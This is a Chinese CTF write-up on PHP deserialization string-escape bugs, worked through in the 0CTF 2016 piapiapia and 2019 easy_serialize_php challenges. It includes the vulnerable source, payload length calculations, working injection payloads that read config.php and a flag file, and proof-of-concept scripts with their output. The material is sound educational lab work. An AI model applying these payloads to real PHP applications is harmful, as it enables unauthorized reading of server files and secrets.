- 通過
CTF
比賽瞭解PHP
反序列化,記錄自己的學習。
借用哈大佬們的名言
- 任何具有一定結構的資料,如果經過了某些處理而把結構體本身的結構給打亂了,則有可能會產生漏洞。
- 0CTF 2016piapiapia-----反序列化後長度遞增
- 安詢杯2019-easy_serialize_php-----反序列化後長度遞減
0CTF 2016piapiapia
- 由於是程式碼審計,直接訪問
www.zip
發現備份的原始碼,有一下檔案,flag就在config.php
,因此讀取即可
class.php //主要有mysql類(mysql基本操作)和user類(繼承mysql實現功能點)
config.php //環境配置
index.php //登陸
profile.php //檢視自己上傳的檔案
register.php //註冊
update.php //檔案上傳
原始碼分析
- 然後分析程式碼,我喜歡通過功能點來分析,既然有註冊,登陸,那麼自然來看看
SQL
咯,發現class.php
中mysql
類的filter過濾函式,過濾了增刪查改,基本無望. - 後面就看看檔案上傳,發現也對上傳的檔案引數進行了限制,但是發現對檔案進行了序列化處理,那麼肯定有反序列化,在
profile.php
中發現對上傳的檔案進行反序列化處理,並對檔案$profile['photo']
進行讀取.我們再回到檔案上傳點,發現$profile['photo'] = 'upload/' . md5($file['name']);
,但是我們無法獲取加密後的檔案值,後面有又看到檔案上傳是先序列化,再進過filter
函式替換一些關鍵字,再反序列化,因此檔案可能發生改變,因此可能有漏洞
payload構造
- 我們知道,PHP反序列化時以
;
作為分隔點,}
做為結束標誌,根據長度來判斷讀取多少字元,我們無法控制$profile['photo']
但是可以控制nickname
,而nickname
又進行了長度限制,strlen
函式卻無法處理陣列,因此用陣列進行繞過即可我們在這裡截斷,那麼後面的則會被廢棄不再讀取,而我們要構造的的payload是,最開始的";}
是為了閉合前面陣列nickname
的{
,後面的;}
是為了截斷,讓反序列化結束,不再讀取後面的內容,當然這些都不能是字元哈.
";}s:5:"photo";s:10:"config.php";}
這時構造了payload
,那麼就要來計算溢位數量了,我們構造的payload長度為34,那麼就要增加34個長度,由於where
變成hacker
會增加一個長度,那麼我們就需要34個where
,最終payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
原理解析
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = array(
'phone'=>'01234567890',
'email'=>'12345678@11.com',
'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>
- 輸出結果展示,最開始不用進過
filter
函式反序列化時,nickname
陣列的第一個值沒被截斷是一個整體wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},剛好204個長度,經過filter過濾函式後,where
變成了hacker
,反序列化的長度變化了,但是又只讀取204的長度,則s:5:"photo";s:10:"config.php";}";}就多出來了,作為另一個反序列化的其中一個元素,而末尾的'}
又不是字元,因此被認為反序列化結束了,後面的內容被丟棄,因此可以任意讀取檔案.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
array(4) {
'phone' =>
string(11) "01234567890"
'email' =>
string(15) "12345678@11.com"
'nickname' =>
array(1) {
[0] =>
string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
}
'photo' =>
string(10) "config.php"
}
安詢杯2019-easy_serialize_php
原始碼
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析
- 原始碼不多,我就習慣先通讀一遍再回溯可能出現的漏洞點,找可控引數.通讀完全發現可能存在的漏洞點:
extract
變數覆蓋,file_get_contents
任意檔案讀取. - 將變數
$userinfo['img']
逆推回去發現,是由引數img_path
控制的,但是經過sha1
加密,我們無法得知加密後內容,但結合前面的extract
變數覆蓋,我們可以自己POST構造. - 構造了之後,會經過序列化
filter
函式替換一些字元(那麼此時序列化後的資料則發生了變化,可能存在漏洞),再反序列化,讀取引數值.
payload構造
- 我們任然利用序列化,經過過濾後長度發生變化來構造payload,首先明白序列化後,有三個元素,分別是
img
,user
,function
,而我們能控制的只有後面兩個,我們需要構造的payload是這樣的
f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
- 但是不經任何改變則是這樣的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
- 我還是利用截斷的思想不讓其讀取元素
img
的值,我們自己來構造這個值,只有兩個引數,必須在function
哪裡截斷,而這個反序列是長度遞減,那麼就是選擇元素吞噬(吞噬的長度自己酌情參考,一般是到自己能控制的點就好)後面的長度,來構造自己的payload咯,我們就選user
元素吧,len('";s:8:"function";s:10:"'
)的長度為23,但是我們無法構造23個長度,我們可以多吞噬一個,24個字元,那麼就用6個flag
就好,但是這樣後面的序列化就混亂了,我們就要新增自己的payload,並補全.雖然這樣補好了,但是隻有兩個元素,這裡需要三個元素,我們就再新增元素,並將後面的img
進行截斷
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
- 截斷只需
}
即可,並且不為讀取的字元即可,因此新增f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
,這裡我們新增了一個元素,因此吞噬後function
元素消失了,隨便補充好元素即可.
原理解析
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$arr = array(
"user"=>"flagflagflagflagflagflag",
"function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
//"user"=>'guest',
//"function"=>'show_image',
"img"=>sha1(base64_encode('guest_img.png'))
);
print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));
?>
- 輸出展示
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
[user] => ";s:8:"function";s:62:"2
[img] => ZDBnM19mMWFnLnBocA==
[tql] => tql
)